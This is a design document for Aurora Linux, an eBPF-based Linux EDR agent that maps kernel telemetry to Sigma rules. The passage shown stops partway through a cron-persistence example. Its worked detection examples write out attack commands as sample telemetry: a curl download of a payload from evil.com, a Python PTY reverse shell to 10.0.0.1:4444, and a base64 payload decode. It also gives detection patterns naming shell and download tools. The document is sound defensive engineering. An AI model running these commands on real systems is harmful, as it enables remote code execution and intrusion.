Aurora Linux
March 14, 2026 · View on GitHub
Aurora Linux is a standalone, open-source Linux EDR agent that collects system telemetry via eBPF, normalizes events into a Sigma-compatible schema, and matches them against Sigma rules in real time. Its architecture draws on the patterns established by the Windows-based Aurora agent (ETW + Sigma) but is an entirely separate codebase — no code is shared or imported from the Windows version.
Status note (2026-02-11): this document started as an implementation plan and contains historical design options. For current behavior and operational details, treat
README.mdanddocs/DEVELOPER.mdas source of truth.
Table of Contents
- Product Architecture
- Step 1: process_creation via eBPF
- Step 1 Field Mapping & Worked Examples
- Step 2: file_event via eBPF
- Step 3: network_connection via eBPF
- Performance, Safety & Deployment
- Testing Strategy
- Roadmap Beyond Steps 1–3
1. Product Architecture
1.1 Component Overview
KERNEL SPACE
┌──────────────────────────────────────────────────────┐
│ │
│ eBPF Sensors │
│ ┌────────────────────────────────────────────────┐ │
│ │ tracepoint/sched/sched_process_exec │ │
│ │ tracepoint/syscalls/sys_{enter,exit}_openat │ │
│ │ tracepoint/sock/inet_sock_set_state │ │
│ └─────────────────────┬──────────────────────────┘ │
│ │ BPF ring buffer │
└────────────────────────┼─────────────────────────────┘
│
USER SPACE
│
┌────────────────────────▼─────────────────────────────┐
│ Userland Collector (eBPF Listener) │
│ • Reads ring buffer via cilium/ebpf ringbuf.Reader │
│ • Reconstructs fields from /proc/PID/* │
│ • Builds normalized DataFieldsMap │
└────────────────────────┬─────────────────────────────┘
│
┌────────────────────────▼─────────────────────────────┐
│ Normalizer / Mapper (Enricher + Correlator) │
│ • Resolves parent process via LRU correlation cache │
│ • Maps UID → username │
│ • Reads loginuid, cwd │
│ • Caches process data for child→parent lookups │
└────────────────────────┬─────────────────────────────┘
│
┌────────────────────────▼─────────────────────────────┐
│ Sigma Engine (SigmaConsumer) │
│ • Loads rules via go-sigma-rule-engine │
│ • Evaluates ruleset against normalized events │
│ • Evaluates detection logic │
│ • Throttles duplicate matches │
└────────────────────────┬─────────────────────────────┘
│
┌────────────────────────▼─────────────────────────────┐
│ Output Sinks │
│ • Log file (JSON or text) │
│ • Stdout (for debugging / container use) │
│ • (future: webhook, SIEM forwarding) │
└──────────────────────────────────────────────────────┘
1.2 Proposed Repository Layout
aurora-linux/
├── cmd/
│ └── aurora/
│ ├── main.go CLI entry point (cobra), service lifecycle
│ └── agent/
│ ├── agent.go Agent init/run: create distributor, register providers + consumers
│ └── parameters.go CLI flags, config file loading
├── lib/
│ ├── provider/
│ │ ├── provider.go EventProvider interface
│ │ └── ebpf/
│ │ ├── listener.go eBPF Listener: Initialize, Close, AddSource, SendEvents, LostEvents
│ │ ├── event.go ebpfEvent struct implementing Event + DataFields
│ │ ├── fieldmap.go Field reconstruction: /proc reads, argv joining, UID→username
│ │ ├── procfs.go /proc helpers: readExeLink, readCmdline, readCwd, readLoginUid
│ │ ├── usercache.go UID-to-username LRU cache
│ │ ├── bpf/
│ │ │ ├── exec_monitor.c BPF C program for sched_process_exec tracepoint
│ │ │ ├── file_monitor.c BPF C program for openat enter/exit tracepoints
│ │ │ └── net_monitor.c BPF C program for inet_sock_set_state tracepoint
│ │ ├── exec_monitor_bpfel.go Generated by bpf2go (checked in)
│ │ ├── exec_monitor_bpfel.o Generated by bpf2go (checked in)
│ │ ├── file_monitor_bpfel.go Generated by bpf2go (checked in)
│ │ ├── file_monitor_bpfel.o Generated by bpf2go (checked in)
│ │ ├── net_monitor_bpfel.go Generated by bpf2go (checked in)
│ │ └── net_monitor_bpfel.o Generated by bpf2go (checked in)
│ ├── distributor/
│ │ ├── distributor.go Event routing: checkEvent → enrich → forward to consumers
│ │ ├── enricher.go EventEnricher + ManipulatorFunc registry + Correlator setup
│ │ └── enrichments.go Linux-specific enrichment registrations keyed by {ProviderName, EventID}
│ ├── enrichment/
│ │ ├── enricher.go Core types: DataFields, DataFieldsMap, DataValue, AddField, RenameField
│ │ └── correlator.go LRU-based cross-event correlation cache (parent process lookups)
│ ├── consumer/
│ │ └── sigma/
│ │ ├── sigmaconsumer.go Sigma rule loading, sigmaEventWrapper, matching, throttling, output
│ │ └── loadrules.go YAML rule file loading from directories
│ └── logging/
│ ├── jsonformatter.go JSON log output (for SIEM ingestion)
│ └── textformatter.go Human-readable log output
├── resources/
│ ├── log-sources/
│ │ ├── ebpf-log-sources.yml Service → provider source string mapping
│ │ └── ebpf-log-source-mappings.yml Sigma category → service + conditions mapping
│ └── sigma-rules/ Bundled Sigma rule subset (optional)
├── deploy/
│ └── aurora.service systemd unit file
├── docs/
│ ├── plan_aurora_linux_ebpf_sigma.md This document
│ └── plan_linux_ebpf_provider.md Earlier draft (reference)
├── go.mod
├── go.sum
├── LICENSE GPL-3.0
└── .gitignore
1.3 Key Interfaces
These Go interfaces define the contract between components. They follow the same architectural pattern as Windows Aurora for consistency, but are defined fresh in this codebase.
// lib/provider/provider.go
type EventProvider interface {
Name() string
Description() string
Initialize() error
Close() error
AddSource(source string) error
SendEvents(callback func(event distributor.Event))
LostEvents() uint64
}
// lib/distributor/distributor.go
type Event interface {
ID() EventIdentifier
Process() uint32
Source() string
Time() time.Time
enrichment.DataFields
}
type EventIdentifier struct {
ProviderName string
EventID uint16
}
type EventConsumer interface {
Name() string
Initialize() error
HandleEvent(event Event) error
Close() error
}
// lib/enrichment/enricher.go
type DataFields interface {
Value(fieldname string) DataValue
ForEach(func(key string, value string))
}
type DataValue struct {
Valid bool
String string
}
type DataFieldsMap map[string]fmt.Stringer
1.4 Dependencies
| Dependency | Purpose |
|---|---|
github.com/cilium/ebpf (v0.12+) | Pure-Go eBPF: load BPF programs, read ring buffer, manage maps. No CGO. CO-RE via BTF. Used in Cilium, Tetragon, Falco. |
github.com/markuskont/go-sigma-rule-engine | Sigma rule parsing and matching (public dependency). |
github.com/sirupsen/logrus | Structured logging to JSON/text output sinks. |
github.com/spf13/cobra | CLI framework for command-line flags and subcommands. |
github.com/hashicorp/golang-lru/v2 | LRU cache for UID→username mapping and parent process correlation. |
golang.org/x/time/rate | Rate limiter for Sigma match throttling (per-rule burst control). |
1.5 Log Source Configuration
The repository includes resources/log-sources/*.yml files for compatibility
with earlier Aurora mapping concepts. In the current implementation they are
not consumed by the runtime Sigma path, which loads rules directly from
directories.
resources/log-sources/ebpf-log-sources.yml — maps service names to
provider source strings:
title: eBPF Sources
backends:
- aurora-linux
logsources:
linux-ebpf-process:
product: linux
service: ebpf-process
sources:
- "LinuxEBPF:ProcessExec"
linux-ebpf-file:
product: linux
service: ebpf-file
sources:
- "LinuxEBPF:FileCreate"
linux-ebpf-network:
product: linux
service: ebpf-network
sources:
- "LinuxEBPF:NetConnect"
resources/log-sources/ebpf-log-source-mappings.yml — maps Sigma
categories to services:
title: eBPF Source Mappings
backends:
- aurora-linux
logsources:
linux_process_creation:
category: process_creation
product: linux
conditions:
EventID: 1
rewrite:
product: linux
service: ebpf-process
linux_file_event:
category: file_event
product: linux
conditions:
EventID: 11
rewrite:
product: linux
service: ebpf-file
linux_network_connection:
category: network_connection
product: linux
conditions:
EventID: 3
rewrite:
product: linux
service: ebpf-network
The eBPF provider's AddSource() method recognizes the "LinuxEBPF:" prefix
and enables the corresponding BPF program:
| Source String | BPF Program Enabled |
|---|---|
LinuxEBPF:ProcessExec | sched_process_exec tracepoint |
LinuxEBPF:FileCreate | sys_enter_openat + sys_exit_openat tracepoints |
LinuxEBPF:NetConnect | inet_sock_set_state tracepoint |
2. Step 1: process_creation via eBPF
2.1 Hook Selection
Chosen hook: tracepoint/sched/sched_process_exec
| Criterion | sched_process_exec (chosen) | kprobe on sys_execve | LSM BPF | syscalls/sys_{enter,exit}_execve |
|---|---|---|---|---|
| ABI stability | Stable tracepoint — format in /sys/kernel/debug/tracing/events/sched/sched_process_exec/format | Unstable: function symbols change between kernel versions | Stable LSM interface | Stable but requires entry+exit pairing |
| Kernel compat | 4.7+ | All, but symbol names vary | 5.7+ and often disabled by distros (lockdown) | 4.7+ |
| Fires on | Successful exec only (after binary loaded, before first timeslice) | Before exec — may fire on failed execs too | Before exec — can deny (not our use case) | Entry: before; Exit: after (must pair to filter failures) |
| Data available | bprm->filename, current->pid/ppid/uid/gid/comm | Raw syscall args (user pointers, fragile) | Full bprm access | Raw args + return code |
| Complexity | Single hook, no pairing needed | Single but ABI-unstable | Medium, many distros disable LSM BPF | High: must correlate entry/exit, filter failed execs |
Justification: sched_process_exec fires exactly once per successful
execve(), after the new binary is loaded but before it runs. At this point
bprm->filename is reliably available and current points to the new process.
No entry/exit pairing is needed, and there is no noise from failed execs. The
tracepoint ABI is stable across kernel versions.
2.2 Minimum Kernel Version
Target: kernel 5.8+ (recommended), with degraded support down to 5.2.
| Feature | Min Kernel | Notes |
|---|---|---|
sched_process_exec tracepoint | 4.7 | Core hook |
| BTF / CO-RE (Compile Once Run Everywhere) | 5.2 | Required for portable BPF binaries |
BPF_MAP_TYPE_RINGBUF | 5.8 | Preferred transport (globally ordered, memory-efficient) |
CAP_BPF + CAP_PERFMON | 5.8 | Fine-grained caps instead of CAP_SYS_ADMIN |
Distro coverage at 5.8+: Ubuntu 20.10+, RHEL 9+, Debian 11+, SLES 15 SP3+, Amazon Linux 2023+, Fedora 33+.
Fallback for 5.2–5.7: Use perf buffer (BPF_MAP_TYPE_PERF_EVENT_ARRAY)
instead of ring buffer. Detection is automatic at BPF load time — if ring buffer
creation fails, the code falls back to perf.Reader.
Below 5.2: Initialize() emits a clear error and the agent refuses to
start:
FATAL: eBPF provider requires Linux kernel 5.2+ with BTF. Detected kernel X.Y. Cannot start.
There is no alternative telemetry source — eBPF is the sole provider.
2.3 BPF Program and Kernel-to-Userland Payload
BPF C Struct
// lib/provider/ebpf/bpf/exec_monitor.c
#define TASK_COMM_LEN 16
#define MAX_FILENAME 256
struct exec_event {
__u64 timestamp_ns; // bpf_ktime_get_ns()
__u32 pid; // bpf_get_current_pid_tgid() >> 32 (tgid = userland PID)
__u32 ppid; // current->real_parent->tgid
__u32 uid; // bpf_get_current_uid_gid() & 0xFFFFFFFF
__u32 gid; // bpf_get_current_uid_gid() >> 32
char comm[TASK_COMM_LEN]; // bpf_get_current_comm()
char filename[MAX_FILENAME]; // bprm->filename via bpf_probe_read_kernel_str
__u32 filename_len; // actual bytes written to filename
};
Size: ~300 bytes per event.
Design rationale — why NOT capture argv in kernel space:
- Reading variable-length argv arrays in BPF requires multiple
bpf_probe_read_user()calls, is limited by BPF stack size and instruction count, and truncation is inevitable. /proc/PID/cmdlineis the canonical, complete source — available from userland with no BPF complexity.- Keeping the BPF program simple reduces verifier complexity and maximizes portability across kernel versions.
The BPF program captures the minimum needed to identify the event (pid, ppid, uid, filename). All richer fields are reconstructed in userland.
Lost Events Counter
A BPF_MAP_TYPE_ARRAY map with a single __u64 entry tracks dropped events:
struct {
__uint(type, BPF_MAP_TYPE_ARRAY);
__uint(max_entries, 1);
__type(key, __u32);
__type(value, __u64);
} lost_events SEC(".maps");
When bpf_ringbuf_reserve() returns NULL (buffer full), the BPF program
atomically increments lost_events[0] and skips the event.
2.4 Transport: BPF Ring Buffer
Choice: BPF_MAP_TYPE_RINGBUF (kernel 5.8+)
| Aspect | Ring Buffer | Perf Buffer |
|---|---|---|
| Allocation | Single shared buffer | Per-CPU buffers (wastes memory on many-core systems) |
| Event ordering | Globally ordered | Per-CPU only — no global ordering guarantee |
| Memory efficiency | Variable-size reserve/commit, no padding waste | Fixed-size per-CPU rings, padding overhead |
| Backpressure | bpf_ringbuf_reserve() returns NULL when full → drop + count | Overwrite or drop mode |
| Go API | cilium/ebpf ringbuf.Reader | cilium/ebpf perf.Reader |
Why global ordering matters: When process A execs and its child B execs immediately after, the ring buffer guarantees A's event is read before B's. This is critical for parent chain resolution — B's parent data lookup hits the cache populated by A's event.
Default buffer size: 8 MB (2,048 pages). At ~300 bytes/event, this holds ~28,000 events. On a server executing 1,000 processes/second, that is ~28 seconds of buffer. The Go reader goroutine drains events in microseconds, so overflow is extremely unlikely under normal load.
2.5 Go eBPF Library: cilium/ebpf
Choice: github.com/cilium/ebpf (latest stable, v0.12+)
- Pure Go — no CGO dependency (unlike libbpf-go which wraps C libbpf)
- CO-RE support via BTF for cross-kernel portability
bpf2gocode generation tool produces Go types and loader code- First-class
ringbuf.Readerandperf.Reader - Production-proven in Cilium, Tetragon, Falco, Datadog Agent
Code generation via //go:generate:
//go:generate go run github.com/cilium/ebpf/cmd/bpf2go -target bpfel -cc clang \
execMonitor bpf/exec_monitor.c -- -I/usr/include
This produces:
exec_monitor_bpfel.go— Go types + loader (loadExecMonitorObjects())exec_monitor_bpfel.o— Compiled BPF ELF object
Both are checked into the repo so that go build works without clang installed.
2.6 Userland Field Reconstruction
For each exec_event received from the ring buffer, the Go reader goroutine
reconstructs the full set of Sigma-facing fields:
Image
- Primary:
os.Readlink("/proc/<PID>/exe")— returns the absolute path of the loaded binary (e.g.,/usr/bin/python3). - Fallback: If the process already exited before the read (rare — the
tracepoint fires before the process gets its first timeslice), use
bprm->filenamefrom the BPF event. If that path is relative, prepend the working directory. - Why not just
bprm->filename?: It may be relative (./malware), may reference a symlink, or may be truncated at 256 bytes.
CommandLine
- Source:
os.ReadFile("/proc/<PID>/cmdline"), read up to 32,768 bytes. - Format:
/proc/PID/cmdlineuses NUL as argument separator. Join with spaces:strings.ReplaceAll(string(data), "\x00", " "), thenstrings.TrimRight(result, " "). - Truncation: If the read fills the entire 32 KB buffer, append
" ...(truncated)"and setCommandLineTruncated = "true". - Empty: If the process already exited, CommandLine is empty string.
ParentImage
- Primary: Look up in the correlation cache first. If we previously processed the parent's own exec event, its Image is cached.
- Fallback:
os.Readlink("/proc/<PPID>/exe")
ParentCommandLine
- Primary: Correlation cache (best source — has the command line at the time the parent exec'd).
- Fallback:
/proc/<PPID>/cmdline(may be stale if parent re-exec'd since).
User
- Source: BPF provides
uidviabpf_get_current_uid_gid(). - Mapping:
os/user.LookupId(strconv.Itoa(uid))→ username string. - Cache: LRU cache mapping
uint32 → string. Most systems have few UIDs, so cache hit rate is very high. - Format: String (e.g.,
"root","www-data").
LogonId
- Source: Linux audit login UID (auid), read from
/proc/<PID>/loginuid. - Value: Integer as string (e.g.,
"0"for root,"1000"for a regular user). The special value4294967295means "not set" → stored as empty string.
CurrentDirectory
- Source:
os.Readlink("/proc/<PID>/cwd") - Timing: At tracepoint time the new process has not yet run, so its cwd is inherited from the parent — this is reliable.
ProcessId / ParentProcessId
- Source: BPF
pid(tgid) andppidfields, stored as decimal string. - Note: Not typically used in Sigma detection clauses but included in every event for correlation, enrichment, and forensic context.
3. Step 1 Field Mapping & Worked Examples
3.1 process_creation: Full Field Mapping Table
| # | Sigma Field | Derived From | Stored As (DataFieldsMap Key) | Example Value |
|---|---|---|---|---|
| 1 | Image | /proc/PID/exe symlink; fallback: BPF filename | "Image" | /usr/bin/base64 |
| 2 | CommandLine | /proc/PID/cmdline, NUL bytes replaced with spaces | "CommandLine" | base64 -d /tmp/payload.b64 |
| 3 | ParentImage | Correlation cache → /proc/PPID/exe fallback | "ParentImage" | /bin/bash |
| 4 | ParentCommandLine | Correlation cache → /proc/PPID/cmdline | "ParentCommandLine" | bash -c ./exploit.sh |
| 5 | User | BPF uid → os/user.LookupId() | "User" | root |
| 6 | LogonId | /proc/PID/loginuid (audit auid) | "LogonId" | 0 |
| 7 | CurrentDirectory | /proc/PID/cwd symlink | "CurrentDirectory" | /tmp |
Additional internal fields (not referenced by Sigma rules but needed for correlation and logging):
| Field | Source | Key | Purpose |
|---|---|---|---|
| ProcessId | BPF pid (tgid) | "ProcessId" | Correlation, parent cache key |
| ParentProcessId | BPF ppid | "ParentProcessId" | Parent chain resolution |
| EventID | Hardcoded 1 | Event.ID().EventID | Log source routing, enricher dispatch |
| Provider_Name | "LinuxEBPF" | Event.ID().ProviderName | Provider identification |
| Timestamp | BPF ktime_get_ns() → wall clock | Event.Time() | Event ordering |
| CommandLineTruncated | Set when cmdline > 32 KB | "CommandLineTruncated" | Analyst visibility |
3.2 Sigma Field Coverage vs. Rule Corpus
Analysis of all 119 rules in sigma/rules/linux/process_creation/:
| Sigma Field | # Rules Using It | Provided? | Notes |
|---|---|---|---|
Image | ~110 | Yes | Full coverage |
CommandLine | ~100 | Yes | Full (truncation note for >32 KB) |
ParentImage | ~15 | Yes | Full (cache miss note for very early processes) |
ParentCommandLine | ~5 | Yes | Best-effort (cache-dependent; /proc fallback may be stale) |
User | ~3 | Yes | Full |
LogonId | ~1 | Yes | Full (audit loginuid) |
CurrentDirectory | ~1 | Yes | Full |
100% of Sigma fields used in the Linux process_creation rule corpus are covered.
3.3 Worked Example 1: Base64 Decode Detection
Rule: proc_creation_lnx_base64_decode.yml
title: Decode Base64 Encoded Text
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/base64'
CommandLine|contains: '-d'
condition: selection
level: low
Scenario: An attacker decodes a base64-encoded payload on a compromised host:
base64 -d /tmp/encoded_payload.b64 > /tmp/malware
Step-by-step through the pipeline:
-
BPF event received from ring buffer:
exec_event { timestamp_ns: 1707600000000000000 pid: 8421 ppid: 8400 uid: 0 gid: 0 comm: "base64" filename: "/usr/bin/base64" filename_len: 16 } -
Userland /proc reads:
/proc/8421/exe → "/usr/bin/base64" /proc/8421/cmdline → "base64\x00-d\x00/tmp/encoded_payload.b64\x00" /proc/8421/cwd → "/tmp" /proc/8421/loginuid → "0" /proc/8400/exe → "/bin/bash" (from correlation cache) /proc/8400/cmdline → "bash\x00" (from correlation cache) os/user.LookupId(0) → "root" -
Normalized DataFieldsMap:
"Image" = "/usr/bin/base64" "CommandLine" = "base64 -d /tmp/encoded_payload.b64" "ParentImage" = "/bin/bash" "ParentCommandLine" = "bash" "User" = "root" "LogonId" = "0" "CurrentDirectory" = "/tmp" "ProcessId" = "8421" "ParentProcessId" = "8400" -
Sigma evaluation:
Image|endswith: '/base64' → "/usr/bin/base64" endswith "/base64" → MATCH CommandLine|contains: '-d' → "base64 -d /tmp/encoded_payload.b64" contains "-d" → MATCH condition: selection → ALL conditions met → DETECTION at level low -
Output (JSON format):
{ "level": "low", "rule": "Decode Base64 Encoded Text", "rule_id": "e2072cab-8c9a-459b-b63c-40ae79e27031", "Image": "/usr/bin/base64", "CommandLine": "base64 -d /tmp/encoded_payload.b64", "User": "root", "ProcessId": "8421", "ParentProcessId": "8400", "ParentImage": "/bin/bash", "timestamp": "2025-02-11T12:00:00.000Z" }
3.4 Worked Example 2: Suspicious Java Child Process
Rule: proc_creation_lnx_susp_java_children.yml
title: Suspicious Java Children Processes
logsource:
category: process_creation
product: linux
detection:
selection:
ParentImage|endswith: '/java'
CommandLine|contains:
- '/bin/sh'
- 'bash'
- 'dash'
- 'ksh'
- 'zsh'
- 'csh'
- 'fish'
- 'curl'
- 'wget'
- 'python'
condition: selection
level: high
Scenario: A vulnerable Java application (e.g., Log4Shell) spawns curl to
download a second-stage payload:
java -jar /opt/webapp/app.jar (PID 5000)
└─ curl http://evil.com/payload.sh -o /tmp/payload.sh (PID 5042)
Step-by-step through the pipeline:
-
BPF event for PID 5042:
exec_event { timestamp_ns: 1707600100000000000 pid: 5042 ppid: 5000 uid: 1001 gid: 1001 comm: "curl" filename: "/usr/bin/curl" filename_len: 13 } -
Userland /proc reads:
/proc/5042/exe → "/usr/bin/curl" /proc/5042/cmdline → "curl\x00http://evil.com/payload.sh\x00-o\x00/tmp/payload.sh\x00" /proc/5042/cwd → "/opt/webapp" /proc/5042/loginuid → "4294967295" (unset → empty string) -
Parent resolution — PID 5000 (Java) was previously observed by the eBPF listener when it exec'd. Its data is in the correlation cache:
cache[5000].Image = "/usr/lib/jvm/java-17-openjdk/bin/java" cache[5000].CommandLine = "java -jar /opt/webapp/app.jar" os/user.LookupId(1001) → "webapp" -
Normalized DataFieldsMap:
"Image" = "/usr/bin/curl" "CommandLine" = "curl http://evil.com/payload.sh -o /tmp/payload.sh" "ParentImage" = "/usr/lib/jvm/java-17-openjdk/bin/java" "ParentCommandLine" = "java -jar /opt/webapp/app.jar" "User" = "webapp" "LogonId" = "" "CurrentDirectory" = "/opt/webapp" "ProcessId" = "5042" "ParentProcessId" = "5000" -
Sigma evaluation:
ParentImage|endswith: '/java' → "/usr/lib/jvm/java-17-openjdk/bin/java" endswith "/java" → MATCH CommandLine|contains: (any of list) 'curl' → "curl http://evil.com/payload.sh -o /tmp/payload.sh" contains "curl" → MATCH (first match wins for OR-list) condition: selection → ALL conditions met → DETECTION at level high
3.5 Worked Example 3: Python Reverse Shell (bonus)
Rule: proc_creation_lnx_python_reverse_shell.yml
title: Python Reverse Shell Execution Via PTY And Socket Modules
logsource:
category: process_creation
product: linux
detection:
selection:
Image|contains: 'python'
CommandLine|contains|all:
- ' -c '
- 'import'
- 'pty'
- 'socket'
- 'spawn'
- '.connect'
condition: selection
level: high
Scenario: Attacker on a compromised web server:
python3 -c 'import socket,pty;s=socket.socket();s.connect(("10.0.0.1",4444));pty.spawn("/bin/bash")'
Normalized DataFieldsMap:
"Image" = "/usr/bin/python3"
"CommandLine" = "python3 -c import socket,pty;s=socket.socket();s.connect((\"10.0.0.1\",4444));pty.spawn(\"/bin/bash\")"
"ParentImage" = "/bin/bash"
"ParentCommandLine" = "bash"
"User" = "www-data"
"CurrentDirectory" = "/var/www/html"
Sigma evaluation:
Image|contains: 'python'
→ "/usr/bin/python3" contains "python" → MATCH
CommandLine|contains|all: (ALL must match)
' -c ' → MATCH 'import' → MATCH 'pty' → MATCH
'socket' → MATCH 'spawn' → MATCH '.connect' → MATCH
condition: selection → DETECTION at level high
3.6 Worked Example 4: Linux Webshell Indicators (bonus)
Rule: proc_creation_lnx_webshell_detection.yml
title: Linux Webshell Indicators
logsource:
product: linux
category: process_creation
detection:
selection_general:
ParentImage|endswith:
- '/httpd'
- '/lighttpd'
- '/nginx'
- '/apache2'
- '/node'
- '/caddy'
selection_tomcat:
ParentCommandLine|contains|all:
- '/bin/java'
- 'tomcat'
sub_processes:
Image|endswith:
- '/whoami'
- '/ifconfig'
- '/ip'
- '/bin/uname'
- '/bin/cat'
- '/bin/crontab'
- '/hostname'
- '/iptables'
- '/netstat'
- '/pwd'
- '/route'
condition: 1 of selection_* and sub_processes
level: high
Scenario: Apache spawns whoami via a web shell:
/usr/sbin/apache2 (PID 1000) → /usr/bin/whoami (PID 1002)
Normalized DataFieldsMap for PID 1002:
"Image" = "/usr/bin/whoami"
"CommandLine" = "whoami"
"ParentImage" = "/usr/sbin/apache2"
"ParentCommandLine" = "/usr/sbin/apache2 -k start"
"User" = "www-data"
Sigma evaluation:
selection_general:
ParentImage|endswith: '/apache2'
→ "/usr/sbin/apache2" endswith "/apache2" → MATCH
sub_processes:
Image|endswith: '/whoami'
→ "/usr/bin/whoami" endswith "/whoami" → MATCH
condition: 1 of selection_* and sub_processes
→ selection_general MATCHED AND sub_processes MATCHED → DETECTION at level high
4. Step 2: file_event via eBPF
4.1 Sigma Rule Corpus Analysis
Target: 8 rules in sigma/rules/linux/file_event/
| Rule File | Detection Focus | Key Fields Used |
|---|---|---|
file_event_lnx_doas_conf_creation.yml | doas.conf creation (priv-esc) | TargetFilename|endswith: '/etc/doas.conf' |
file_event_lnx_persistence_cron_files.yml | Cron persistence | TargetFilename|startswith: '/etc/cron.d/', ... and TargetFilename|contains: '/etc/crontab' |
file_event_lnx_persistence_sudoers_files.yml | Sudoers persistence | TargetFilename|startswith: '/etc/sudoers.d/' |
file_event_lnx_susp_filename_with_embedded_base64_command.yml | VShell-style embedded payloads | TargetFilename|contains: '{echo', '{base64,-d}' |
file_event_lnx_triple_cross_rootkit_lock_file.yml | TripleCross rootkit lock | TargetFilename: '/tmp/rootlog' |
file_event_lnx_triple_cross_rootkit_persistence.yml | TripleCross persistence | TargetFilename|endswith: 'ebpfbackdoor' |
file_event_lnx_susp_shell_script_under_profile_directory.yml | Shell scripts in profile.d | TargetFilename|contains: '/etc/profile.d/' and TargetFilename|endswith: '.sh', '.csh' |
file_event_lnx_wget_download_file_in_tmp_dir.yml | wget downloads to /tmp | Image|endswith: '/wget' and TargetFilename|startswith: '/tmp/', '/var/tmp/' |
Complete Sigma field inventory across all 8 rules:
| Sigma Field | Modifiers Used | # Rules |
|---|---|---|
TargetFilename | exact, |endswith, |startswith, |contains | 8 (all rules) |
Image | |endswith | 1 rule |
4.2 Hook Selection
Chosen hooks: tracepoint/syscalls/sys_enter_openat + tracepoint/syscalls/sys_exit_openat (paired)
| Criterion | sys_{enter,exit}_openat (chosen) | security_file_open (LSM) | kprobe on vfs_create | inotify (userland) |
|---|---|---|---|---|
| ABI stability | Stable tracepoint (syscall ABI) | LSM BPF requires 5.7+, distro lockdown risk | Unstable: internal kernel function | N/A (not eBPF) |
| Kernel compat | 4.7+ | 5.7+ (often disabled) | Fragile | N/A |
| Fires on | All openat() calls (filter by flags) | All file opens after security check | Only creat()-style creates | File system events (limited) |
| Data available | Filename pointer, flags, dfd, return value (exit) | Full struct file access | Dentry + inode | Path only |
| Filtering | BPF-side flag check (O_CREAT) and path prefix map | Post-open, harder to filter | Narrow scope | Watch-based |
| Complexity | Medium: enter/exit pairing needed | Medium but restricted kernels | Single hook but unstable | Not applicable for eBPF agent |
Justification: The openat syscall tracepoints are the most portable and
stable way to observe file creation on Linux. By pairing sys_enter_openat
(capture filename and flags) with sys_exit_openat (check return value), we
can:
- Filter for
O_CREATflag to focus on file creation (not just reads). - Only emit events for successful operations (return value ≥ 0).
- Discard failed attempts (EACCES, ENOENT) that would be false positives.
The openat2 syscall (kernel 5.6+) is also traced via a separate tracepoint
pair using the same logic. Classic open() redirects to openat() internally
on modern kernels, so a single pair covers both.
4.3 BPF Program Design
Enter/Exit Pairing via Per-CPU Hash
// lib/provider/ebpf/bpf/file_monitor.c
#define MAX_FILENAME 256
#define MAX_WATCHED_DIRS 32
struct file_open_args {
char filename[MAX_FILENAME];
__u32 filename_len;
__u32 flags;
__s32 dfd; // directory file descriptor (AT_FDCWD = -100)
};
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 10240);
__type(key, __u64); // pid_tgid
__type(value, struct file_open_args);
} openat_args SEC(".maps");
struct file_event {
__u64 timestamp_ns;
__u32 pid;
__u32 uid;
__s32 dfd; // for userland path resolution
__u32 flags; // O_CREAT, O_WRONLY, O_TRUNC, etc.
char filename[MAX_FILENAME];
__u32 filename_len;
};
Size: ~284 bytes per event.
BPF Program Flow
sys_enter_openat:
1. Read flags argument
2. If !(flags & O_CREAT) → return (skip non-create opens)
3. Read filename from userspace pointer → store in openat_args map
4. Key = bpf_get_current_pid_tgid()
sys_exit_openat:
1. Lookup openat_args[pid_tgid]
2. If not found → return (was not a tracked open)
3. Delete entry from map
4. Read return value → if < 0, discard (failed open)
5. Populate file_event struct from stored args + current task
6. Submit to ring buffer
BPF-Side Path Prefix Filtering
To control event volume, the BPF program supports an optional path prefix allowlist:
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, MAX_WATCHED_DIRS);
__type(key, char[64]); // prefix string (e.g., "/etc/", "/tmp/")
__type(value, __u8); // 1 = watched
} watched_dirs SEC(".maps");
When the map is empty, all O_CREAT events are emitted (no filtering).
When populated, only filenames matching a watched prefix are emitted. This is
configurable at runtime from userland by writing to the BPF map.
Default watched directories (populated at startup):
/etc/ → cron, sudoers, doas.conf, profile.d, passwd, shadow
/tmp/ → rootkit lock files, staged payloads
/var/tmp/ → staged payloads
/var/spool/ → cron spool
/root/ → root home directory modifications
/home/ → user home directory modifications
4.4 Userland Field Reconstruction
TargetFilename
- Primary: The BPF event provides the raw
filenamefrom theopenat()argument and thedfd(directory file descriptor). - Path resolution:
- If filename starts with
/→ it is absolute, use directly. - If
dfd == AT_FDCWD(-100) → resolve relative to/proc/PID/cwd. - Otherwise → resolve relative to
/proc/PID/fd/<dfd>(readlink on the fd).
- If filename starts with
- Symlink resolution:
filepath.EvalSymlinks()to canonicalize the path. - Example:
openat(AT_FDCWD, "cron.d/malicious_job", O_CREAT|O_WRONLY)with cwd/etc→ TargetFilename =/etc/cron.d/malicious_job
Image
- Source:
/proc/PID/exe(same as process_creation). - Cache: Reuses the process correlation cache from Step 1. If the process was previously seen in a process_creation event, its Image is already cached.
User
- Source: BPF
uid→os/user.LookupId()(same cache as process_creation).
4.5 file_event: Full Field Mapping Table
| # | Sigma Field | Derived From | Stored As (DataFieldsMap Key) | Example Value |
|---|---|---|---|---|
| 1 | TargetFilename | BPF filename + dfd, resolved to absolute path | "TargetFilename" | /etc/cron.d/malicious_job |
| 2 | Image | /proc/PID/exe (or process correlation cache) | "Image" | /usr/bin/wget |
Additional internal fields:
| Field | Source | Key | Purpose |
|---|---|---|---|
| User | BPF uid → username | "User" | Forensic context |
| ProcessId | BPF pid | "ProcessId" | Correlation |
| EventID | Hardcoded 11 | Event.ID().EventID | Log source routing |
| Provider_Name | "LinuxEBPF" | Event.ID().ProviderName | Provider identification |
| FileFlags | BPF flags (O_CREAT, O_WRONLY, etc.) | "FileFlags" | Forensic context (not in Sigma rules) |
4.6 Sigma Field Coverage
| Sigma Field | # Rules Using It | Provided? | Notes |
|---|---|---|---|
TargetFilename | 8 (all rules) | Yes | Full coverage with all modifiers (exact, endswith, startswith, contains) |
Image | 1 | Yes | Full coverage |
100% of Sigma fields used in the Linux file_event rule corpus are covered.
4.7 Worked Example: Persistence via Cron Files
Rule: file_event_lnx_persistence_cron_files.yml
title: Persistence Via Cron Files
logsource:
product: linux
category: file_event
detection:
selection1:
TargetFilename|startswith:
- '/etc/cron.d/'
- '/etc/cron.daily/'
- '/etc/cron.hourly/'
- '/etc/cron.monthly/'
- '/etc/cron.weekly/'
- '/var/spool/cron/crontabs/'
selection2:
TargetFilename|contains:
- '/etc/cron.allow'
- '/etc/cron.deny'
